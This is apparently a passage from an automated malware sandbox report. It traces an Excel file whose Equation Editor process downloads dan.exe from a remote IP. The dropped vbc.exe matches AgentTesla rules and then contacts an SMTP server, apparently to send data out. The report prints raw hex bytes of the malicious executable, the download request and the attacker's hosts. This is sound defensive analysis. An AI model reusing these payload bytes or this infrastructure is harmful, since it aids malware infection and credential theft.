Jun 16, 2021 12:14:32.531661034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531676054 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531678915 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531694889 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531712055 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531712055 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531728983 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531744003 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531745911 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531759977 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531774998 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531783104 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531791925 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531806946 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531814098 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531826973 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531841993 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531842947 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531858921 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531872988 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531876087 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531892061 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531900883 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531908989 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531924963 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531930923 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531940937 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531960011 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531961918 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531976938 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.531991005 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.531992912 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532010078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532016993 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532026052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532042027 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532047987 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532058001 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532073975 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532084942 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532093048 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532110929 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532119989 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532125950 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532141924 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532143116 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532157898 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532164097 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532174110 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532187939 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532190084 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532202005 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532206059 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532224894 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532227039 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532242060 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532244921 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532260895 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532275915 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532283068 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532293081 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532308102 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532315969 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532322884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532339096 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532356024 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532357931 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532375097 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532386065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532390118 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532406092 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532413006 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532437086 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532444000 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532461882 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532478094 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532480001 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532493114 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532499075 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532509089 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532516003 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532526016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532533884 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532545090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532553911 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532562017 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532573938 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532576084 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.532593966 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.532610893 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.536010981 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:33.195758104 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:16:02.817647934 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:02.992932081 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:02.993071079 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:03.518151999 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:03.518692970 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:03.693953991 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:03.694005013 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:03.694273949 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:03.869683027 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:03.901761055 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:04.077409029 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.077460051 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.077481985 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.077503920 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.077548981 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:04.077569008 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:04.083388090 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.083420038 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.083467960 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:04.252773046 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.261718988 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:04.438955069 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:04.635252953 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:06.236188889 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:06.411751986 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:06.414362907 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:06.590578079 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:06.592407942 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:06.769936085 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:06.771198034 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:06.947329044 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:06.948033094 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.142227888 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:07.142960072 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.318547010 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:07.320636988 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.320823908 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.321392059 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.321499109 CEST	49166	587	192.168.2.22	208.91.198.143
Jun 16, 2021 12:16:07.496090889 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:07.496596098 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:07.593525887 CEST	587	49166	208.91.198.143	192.168.2.22
Jun 16, 2021 12:16:07.786892891 CEST	49166	587	192.168.2.22	208.91.198.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:16:02.714337111 CEST	52197	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:16:02.780240059 CEST	53	52197	8.8.8.8	192.168.2.22
Jun 16, 2021 12:16:05.059793949 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:16:05.110799074 CEST	53	53099	8.8.8.8	192.168.2.22
Jun 16, 2021 12:16:05.111702919 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:16:05.162806988 CEST	53	53099	8.8.8.8	192.168.2.22
Jun 16, 2021 12:16:05.197738886 CEST	52838	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:16:05.269443035 CEST	53	52838	8.8.8.8	192.168.2.22
Jun 16, 2021 12:16:05.270204067 CEST	52838	53	192.168.2.22	8.8.8.8
Jun 16, 2021 12:16:05.330282927 CEST	53	52838	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 16, 2021 12:16:02.714337111 CEST	192.168.2.22	8.8.8.8	0x70c0	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 16, 2021 12:16:02.780240059 CEST	8.8.8.8	192.168.2.22	0x70c0	No error (0)	us2.smtp.mailhostbox.com	208.91.198.143	A (IP address)	IN (0x0001)
Jun 16, 2021 12:16:02.780240059 CEST	8.8.8.8	192.168.2.22	0x70c0	No error (0)	us2.smtp.mailhostbox.com	208.91.199.225	A (IP address)	IN (0x0001)
Jun 16, 2021 12:16:02.780240059 CEST	8.8.8.8	192.168.2.22	0x70c0	No error (0)	us2.smtp.mailhostbox.com	208.91.199.223	A (IP address)	IN (0x0001)
Jun 16, 2021 12:16:02.780240059 CEST	8.8.8.8	192.168.2.22	0x70c0	No error (0)	us2.smtp.mailhostbox.com	208.91.199.224	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

192.227.228.121

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	192.227.228.121	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 12:14:31.282865047 CEST	0	OUT	GET /dan.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.227.228.121 Connection: Keep-Alive
Jun 16, 2021 12:14:31.421068907 CEST	1	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:14:31 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Wed, 16 Jun 2021 02:35:20 GMT ETag: "d2200-5c4d8f11f527c" Accept-Ranges: bytes Content-Length: 860672 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 63 c9 60 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 da 0c 00 00 46 00 00 00 00 00 00 4e f9 0c 00 00 20 00 00 00 00 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f9 0c 00 4b 00 00 00 00 00 0d 00 0c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 0c 00 00 00 b3 f8 0c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 d9 0c 00 00 20 00 00 00 da 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 0c 42 00 00 00 00 0d 00 00 44 00 00 00 dc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0d 00 00 02 00 00 00 20 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 f9 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 00 27 01 00 48 05 01 00 03 00 00 00 01 00 00 06 48 2c 02 00 6b cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 2b 02 26 16 28 0e 00 00 0a 28 0f 00 00 0a 28 12 00 00 06 02 6f 10 00 00 0a 2a 00 13 30 03 00 c5 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 20 00 00 00 00 38 45 00 00 00 02 16 28 08 00 00 06 20 05 00 00 00 28 06 00 00 06 3a 2f 00 00 00 38 2a 00 00 00 02 16 28 0a 00 00 06 20 07 00 00 00 38 19 00 00 00 02 16 28 11 00 00 0a 38 32 00 00 00 20 00 00 00 00 fe 0e 00 00 fe 0c 00 00 45 08 00 00 00 10 00 00 00 96 ff ff ff b1 ff ff ff 00 00 00 00 31 00 00 00 c2 ff ff ff 96 ff ff ff 48 00 00 00 38 2c 00 00 00 26 20 04 00 00 00 38 cb ff ff ff 02 16 28 07 00 00 06 28 06 00 00 06 28 05 00 00 06 39 df ff ff ff 26 20 06 00 00 00 38 aa ff ff ff 02 16 28 09 00 00 06 20 02 00 00 00 28 05 00 00 06 3a 94 ff ff ff 26 2a 00 00 00 56 2b 02 26 16 02 28 0b 00 00 06 28 0c 00 00 06 28 12 00 00 0a 2a 00 00 56 2b 02 26 16 02 28 14 00 00 06 28 0d 00 00 06 28 0e 00 00 06 2a 00 00 1a 2b 02 26 16 17 2a 00 1a 2b 02 26 16 16 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 13 00 00 0a 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 14 00 00 0a 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 15 00 00 0a 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 16 00 00 0a 2a 00 2e 2b 02 26 16 00 28 14 00 00 06 2a 3a 2b 02 26 16 fe 09 00 00 6f 20 00 00 06 2a 00 3a 2b 02 26 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL`c`FN @ @KB` H.textT `.rsrcBD@@.reloc` @B0H'HH,kj+&(((o0+&+& 8E( (:/8( 8(82 E1H8,& 8(((9& 8( (:&V+&(((V+&(((+&+&J+&(J+&(J+&(J+&(.+&(:+&o *:+&
Jun 16, 2021 12:14:31.421101093 CEST	3	IN	Data Raw: 16 fe 09 00 00 6f 22 00 00 06 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 17 00 00 0a 2a 00 3e 2b 02 26 16 2b 02 26 16 02 28 18 00 00 0a 2a 13 30 03 00 cc 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 28 17 00 00 06 28 16 00 00 06 39 6b 00 00 Data Ascii: o"J+&(>+&+&(*0+&+&((9k& (:&s8V EN$8b 8s85& 8s 8s 9&
Jun 16, 2021 12:14:31.421123028 CEST	4	IN	Data Raw: 00 00 01 28 78 00 00 06 2a 00 56 2b 02 26 16 02 72 8d 01 00 70 28 76 00 00 06 28 3e 00 00 0a 2a 00 00 46 2b 02 26 16 02 72 8d 01 00 70 03 28 78 00 00 06 2a 00 00 56 2b 02 26 16 02 72 bd 01 00 70 28 76 00 00 06 28 7a 00 00 06 2a 00 00 5a 2b 02 26 Data Ascii: (xV+&rp(v(>F+&rp(xV+&rp(v(zZ+&rp4(x0&+&rp(v%:&55Z+&rp5(x0&+&rp(v%:&66Z+&rp
Jun 16, 2021 12:14:31.421145916 CEST	5	IN	Data Raw: 73 4d 00 00 0a 0a 16 28 84 00 00 06 39 16 00 00 00 26 20 03 00 00 00 38 a0 ff ff ff 73 4e 00 00 0a 0b 38 c8 ff ff ff 26 20 04 00 00 00 17 3a 89 ff ff ff 26 06 28 92 00 00 06 03 16 03 8e 69 6f 4f 00 00 0a 2a 00 00 00 3a 2b 02 26 16 fe 09 00 00 28 Data Ascii: sM(9& 8sN8& :&(ioO:+&(3+&+&.+&(P.+&(C>+&(QJ+&oR.+&(}.+&(~.+&(SJ+&oTJ+&oU*~+
Jun 16, 2021 12:14:31.557471037 CEST	7	IN	Data Raw: 06 39 37 00 00 00 26 08 17 d6 0c 38 70 ff ff ff 26 20 04 00 00 00 38 22 00 00 00 08 02 7b 16 00 00 04 8e 69 17 da 3b dc ff ff ff 38 bb ff ff ff 20 06 00 00 00 fe 0e 08 00 fe 0c 08 00 45 0c 00 00 00 16 00 00 00 79 ff ff ff a9 ff ff ff 0a 00 00 00 Data Ascii: 97&8p& 8"{i;8 EybE& 8 8r?p 8{og(9& 9y&8(h 8`> 8Mr;p(
Jun 16, 2021 12:14:31.557502985 CEST	8	IN	Data Raw: 06 20 01 00 00 00 38 b9 02 00 00 02 28 e0 00 00 06 02 28 d2 00 00 06 28 e1 00 00 06 20 0a 00 00 00 38 9e 02 00 00 02 16 28 e6 00 00 06 20 0e 00 00 00 38 8d 02 00 00 02 28 e0 00 00 06 02 28 db 00 00 06 28 e1 00 00 06 02 28 e0 00 00 06 02 28 da 00 Data Ascii: 8((( 8( 8(((((( 8a(8& 8J((( 9.&(swsx(sx(sx(sx(sy(sx(sz(
Jun 16, 2021 12:14:31.557517052 CEST	10	IN	Data Raw: 7b 1f 00 00 04 2a 13 30 03 00 04 01 00 00 0f 00 00 11 2b 02 26 16 17 28 c5 00 00 06 3a e3 00 00 00 26 20 07 00 00 00 17 3a 68 00 00 00 26 02 fe 06 c1 00 00 06 73 80 00 00 0a 0a 20 02 00 00 00 28 c5 00 00 06 39 4b 00 00 00 26 07 39 2b 00 00 00 20 Data Ascii: {*0+&(:& :h&s (9K&9+ 8:{ 8)9 8}8 Eh9!h2O (:&{ 8(
Jun 16, 2021 12:14:31.557538986 CEST	11	IN	Data Raw: 3a 2b 02 26 16 fe 09 00 00 6f b4 00 00 06 2a 00 3a 2b 02 26 16 fe 09 00 00 6f b6 00 00 06 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 6f 88 00 00 0a 2a 00 3a 2b 02 26 16 fe 09 00 00 6f b8 00 00 06 2a 00 3a 2b 02 26 16 fe 09 00 00 6f ba 00 00 06 Data Ascii: :+&o:+&oJ+&o:+&o:+&oJ+&o:+&oJ+&(J+&(:+&(~J+&oJ+&(J+&({*J+&
Jun 16, 2021 12:14:31.557574034 CEST	12	IN	Data Raw: 70 28 37 01 00 06 02 28 43 01 00 06 72 95 06 00 70 6f 7b 00 00 0a 25 02 28 44 01 00 06 72 b1 06 00 70 28 37 01 00 06 02 28 44 01 00 06 72 b1 06 00 70 28 39 01 00 06 25 02 28 45 01 00 06 72 d5 06 00 70 28 37 01 00 06 02 28 45 01 00 06 72 d5 06 00 Data Ascii: p(7(Crpo{%(Drp(7(Drp(9%(Erp(7(Erp(9%(Frp(7(Frp(9%(Gr%po\|or%p(9%(HrGp(7(HrGpo{(H(I%(Jrmp(7(Jrmp(9(J(K
Jun 16, 2021 12:14:31.557662964 CEST	14	IN	Data Raw: 00 28 23 01 00 06 3a a9 ff ff ff 26 07 06 28 5a 01 00 06 38 83 ff ff ff 26 20 08 00 00 00 38 91 ff ff ff 07 06 28 5b 01 00 06 20 0a 00 00 00 28 23 01 00 06 3a 7b ff ff ff 26 02 7b 25 00 00 04 0b 20 05 00 00 00 38 69 ff ff ff 07 39 0a 00 00 00 20 Data Ascii: (#:&(Z8& 8([ (#:{&{% 8i9 8Y.+&{&2+&}&.+&{'2+&}'.+&{(2+&}(.+&{)2+&}).+&{2+&}*.+&{+
Jun 16, 2021 12:14:31.557684898 CEST	15	IN	Data Raw: 06 11 06 9a 28 64 01 00 06 20 00 00 00 00 38 83 00 00 00 28 61 01 00 06 28 62 01 00 06 7b 3a 00 00 04 7b 17 00 00 04 28 61 01 00 06 28 62 01 00 06 02 7b 34 00 00 04 28 63 01 00 06 6f 5a 00 00 0a 0a 17 28 24 01 00 06 3a 1e 00 00 00 26 20 11 00 00 Data Ascii: (d 8(a(b{:{(a(b{4(coZ($:& 8>(F(d8& 8 (H(d8 E^M2{4m(^\| 8

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jun 16, 2021 12:16:03.518151999 CEST	587	49166	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jun 16, 2021 12:16:03.518692970 CEST	49166	587	192.168.2.22	208.91.198.143	EHLO 376483
Jun 16, 2021 12:16:03.694005013 CEST	587	49166	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
Jun 16, 2021 12:16:03.694273949 CEST	49166	587	192.168.2.22	208.91.198.143	STARTTLS
Jun 16, 2021 12:16:03.869683027 CEST	587	49166	208.91.198.143	192.168.2.22	220 2.0.0 Ready to start TLS

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2072 Parent PID: 584

General

Start time:	12:13:39
Start date:	16/06/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fb70000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2728 Parent PID: 584

General

Start time:	12:14:00
Start date:	16/06/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 2904 Parent PID: 2728

General

Start time:	12:14:03
Start date:	16/06/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x900000
File size:	860672 bytes
MD5 hash:	E123306FCC7FD3C3BDA8993B4F6C43A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: vbc.exe PID: 2884 Parent PID: 2904

General

Start time:	12:14:05
Start date:	16/06/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x900000
File size:	860672 bytes
MD5 hash:	E123306FCC7FD3C3BDA8993B4F6C43A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
